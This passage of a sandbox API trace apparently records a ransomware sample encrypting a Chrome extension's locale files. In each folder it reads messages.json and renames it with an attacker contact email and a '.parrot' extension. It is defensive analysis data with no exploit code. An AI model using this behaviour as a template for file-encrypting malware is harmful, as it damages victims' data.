nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.924] CloseHandle (hObject=0x1fc) returned 1 [0069.924] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0330 | out: hHeap=0x5b0000) returned 1 [0069.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0069.927] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.927] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7298300, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7298300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.927] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7298300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.927] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.927] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.927] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.927] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.927] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.927] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.928] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.928] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.928] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.928] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.929] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.929] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.929] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.929] CloseHandle (hObject=0x1fc) returned 1 [0069.929] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0330 | out: hHeap=0x5b0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0069.931] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.931] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7298300, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7298300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.931] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7298300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.931] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.934] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.934] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.934] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.934] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.934] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.934] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.935] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.935] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.936] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.936] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.936] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.936] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.936] CloseHandle (hObject=0x1fc) returned 1 [0069.937] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.937] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0330 | out: hHeap=0x5b0000) returned 1 [0069.937] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.937] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0069.938] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.939] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72be460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72be460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.939] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523d900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb72be460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.939] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.939] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.939] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.939] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.939] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.939] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.939] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.939] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.939] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.940] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.940] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.941] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.941] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.941] CloseHandle (hObject=0x1fc) returned 1 [0069.941] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.942] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0330 | out: hHeap=0x5b0000) returned 1 [0069.942] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.943] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.943] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72be460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72be460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.943] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb72be460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.943] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.946] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.946] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.946] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.947] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.947] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.947] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.947] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.947] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.948] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.948] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.948] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.948] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.948] CloseHandle (hObject=0x1fc) returned 1 [0069.949] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.950] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.950] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb72be460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb72be460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.950] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb72be460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.950] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 